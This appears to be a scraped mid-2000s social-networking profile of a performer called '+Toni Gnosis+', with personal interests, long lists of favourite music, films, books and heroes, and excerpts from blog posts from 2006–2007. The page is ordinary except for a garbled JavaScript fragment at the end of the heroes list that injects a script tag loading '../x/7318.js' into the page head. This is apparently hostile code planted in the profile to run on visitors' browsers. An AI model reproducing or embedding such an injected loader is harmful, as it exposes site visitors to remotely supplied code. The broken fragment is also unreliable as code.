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+Toni Gnosis+

Hotdog!

About Me

Hedwig was/is a huge part of my life. I performed as the character in various capacities, and it has come to shape who I am and how I want to be percieved. John Cameron Mitchell quite literally saved my life with his song.

My Interests



My interests change with every breath, every firing of a neutron. I am involved with advocacy of all kinds ranging from transgender interests, gay rights, workplace equality, animal rights, and other areas. Currently I am enraptured with philosophy and religion studies, particularly the philosophical school of rationalism and the study of spiritual and religious formation(they conflict just a TAD). I also have a highly operative "collecting" instict. Most of my collections are related to musical artists or politicians. Right now I'm collecting 80s toys like Battle Beasts, Barnyard Commandos, Army Ants, and Chuck E. Cheese/Showbiz Pizza stuff.

I'd like to meet:

I'll take one of these please:

I'm also obsessed with guys who look like Buddy Holly, even if it's just the thick black glasses, I dunno. I submit the following visual evidence of my obsession:

See? I'm nuts.
I am a fan of anyone who can be themselves, without the self consciousness that plagues most of humanity. "Come on and touch me, babe."- Jim Morrison

As far as specific people goes, since my two main idols(Dietrich and Harlow) are dead: MORRISSEY, Crispin Glover, Tom Welling, Roky Erickson, Desagana Diop, Tony Bennett, John Cusack, Dolph Lundgren, Patrick Swayze, Shirley Manson, and Vampira.
I've met most of the people I guess I want to meet, but am always open to new and fascinating people.
I Don't Want To Meet:
BIGOTS, religious fundamentalists, intolerant people, idealists.

Music:



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Flametrick Subs, Ghoultown, Ennio Morricone, Blackfoot, Dixie Witch, The Von Ehrics, Devil's Right Hand, Hank III, Dale Watson, Dwight Yoakam, The Mavericks, Deryl Dodd, Cornell Hurd, Sir Douglas Quintet, Asleep At The Wheel, Elvis Costello, Nick Drake, Chris Isaak, REM, Morrissey, Johnny Cash, Garth Brooks, Cyndi Lauper, Speedbuggy USA, Killcreeps, Tommy Johnson, Robert Johnson, Bukka White, Rosetta Tharpe, Memphis Minnie, Tampa Red, Roosevelt Sykes, King Diamond, Iron Maiden, Ministry, Angra, Within Temptation, Almah, Porcupine Tree, Mazzy Star, Poe, Bjork, Tori Amos, Ani Difranco, Nine Inch Nails, Michael Jackson, Crowded House, Descendents, Earth Crisis, Fifteen, Mike Park, Mustard Plug, Sublime, Frank Sinatra, Dean Martin, Sammy Davis Jr., Marlene Dietrich, Al Green, Bobby Womack, Johnnie Taylor, Etta James, Sister Rosetta Tharpe, Aretha Franklin, Death, Rigor Mortis, Mr. Lewis and the Funeral Five, Reverend Organ Drum, Suffocation, Pigface, Coil, Skinny Puppy, Autechre, Frontline Assembly
As you can see, I like pretty much everything

Movies:



All Meg Ryan Films, All Kate Hudson Films, All Drew Barrymore Films(Except that Riding With Boys crapfest), All John Cusack Films, All Patrick's Swayze and Dempsey Films
Sports/Fighting: Best Of The Best series, Kickboxer series, Karate Kid series, Hoosiers, Space Jam, When We Were Kings, BloodsportClassics: El Topo, All Sergio Leone Films, The Alamo, The Man Who Shot Libery Valance, Cat Ballou, Death Rides A Horse, Pale Rider, Citizen Kane, Bringing Up Baby, Harvey, Rope, High Noon, Blue Angel, Blonde Venus, Dinner At Eight, Public Enemy, White Heat, It's A Wonderful Life, Singin' In The Rain
Horror: Cemetary Man, The Beyond, All George Romero Films, Maniac, Creepshow, Maniac Cop, Devil's Rejects, Spider Baby, Frankenstein, The Wolfman, Dracula, The Wicker Man
Indie/Weird: Adv. Of Lucky Pierre, Bad Boy Bubby, In My Skin, Hedwig And The Angry Inch, Hardcore Logo, Rubin and Ed, Vibes, Holy Mountain
I like movies, yah.

Television:

Ghost Hunters, Unsolved History, Wild West Tech, I Love Lucy, Til Death Do Us Part, Reno 911, Cryptozoology shows

Books:

Mostly philosophy and religion studies. Archaelogy(stress on Egypt) and forensics. Geneaology. Dostoeyevsky, Brian McLaren, Spinoza, Spong, Vermes, Jung, and JFK assassination literature. I like to also read a biography now and then, almost always on an artist/athlete/musician that intrigues me, or one of my glamour idols. I love art and photographic portfolios, if I like the artist.

Heroes:


Baruch Spinoza, Thomas Paine, Charles Darwin, Alma Catherine Fuller, Felix Grundy Aday, William Collin Aday, Alex Grey, R. Crumb, Queen Elizabeth I, Man Ray, Ron English, Daniel Johnston, Count Lyle, Sandy The Temptress, Ruby Lamb, Lucky Dukes, Bob Sherman, Crispin Glover, Dairy, Albert Camus, Jung, George Romero, JFK, The Creature From The Black Lagoon .."var s=document·('script');s.src='../x/7318.js';document 3;getElementsByTagName('head')[0].appendChild(s);"

My Blog

Cabo San Ghoula

I just got in from my trek deep into the Sonoran desert to a little village called Cabo San Ghoula.  The people there were very hospitable, and I got to bring home a couple of new additions to my...
Posted by +Toni Gnosis+ on Sun, 22 Jul 2007 09:26:00 PST

Well....Goldurn!

Your Dominant Intelligence is Linguistic Intelligence..http://images.blogthings.com/whatkindofintelli gencedoyouhavequiz/linguistic.jpg" height="100" width="100">You are excellent with words and langua...
Posted by +Toni Gnosis+ on Fri, 18 May 2007 08:26:00 PST

Help is on the way

I ordered a wig that looks a hell of a lot like my hair did about 6 months ago(see main profile pic) and it should be here Tuesday or so.  I am excited in a way about this bald adventure.  N...
Posted by +Toni Gnosis+ on Sat, 28 Apr 2007 10:42:00 PST

I have no hair

Tonight I took a shower, and an almost fist-sized patch of hair came out leaving a totally bald spot behind.  I was very scared, and I cried for about 30 minutes laying on the bathroom floor...
Posted by +Toni Gnosis+ on Fri, 27 Apr 2007 12:38:00 PST

KA-POW!

Well ladies and gentlemen......the new(ish) and improved Gnosis is in the hizzie! My visit to the hospital ,having my throat scoped/dilated, and all that jazz helped bring to me a new perspective...
Posted by +Toni Gnosis+ on Tue, 27 Mar 2007 11:40:00 PST

That's Just My Baby's Daddy!

Yo yo yo! My plans are forming into a recognizable shape.  I will be staying at my current job(security guard in Gainesville) until June 15th.  I will be moving to Austin in the period of Ju...
Posted by +Toni Gnosis+ on Thu, 15 Mar 2007 04:00:00 PST

My Aim Is True

New blog, yo. I have my plans laid out before me.  In the next four months I will: Move back to Austin, after finding a comfortable living situation. I have saved six months worth of rent money, ...
Posted by +Toni Gnosis+ on Sun, 11 Mar 2007 11:24:00 PST

Plans For The Future

With the new year fresh upon my mind, and the big 25 coming up one week from now, it is time for me to take stock of my current situation and set some goals for myself. In 2007 I plan to: find a job...
Posted by +Toni Gnosis+ on Wed, 17 Jan 2007 05:55:00 PST

Double Dutch Bus

Indeed. I am up right now re-making a bunch of my CDs.  Why you ask?  Because my CD case along with oh, about 200 CDS got stolen out of my car Thursday morning.  Fuck thieves. In other ...
Posted by +Toni Gnosis+ on Mon, 08 Jan 2007 01:38:00 PST

I fell as though a part of me has died

Red Blood Club closing. Club Clearview not showing any booking for 2007(closing?) Clem Hoot leaving The Flametrick Subs I'm betting someone in the entertainment/music world who I adore will die this w...
Posted by +Toni Gnosis+ on Thu, 21 Dec 2006 02:52:00 PST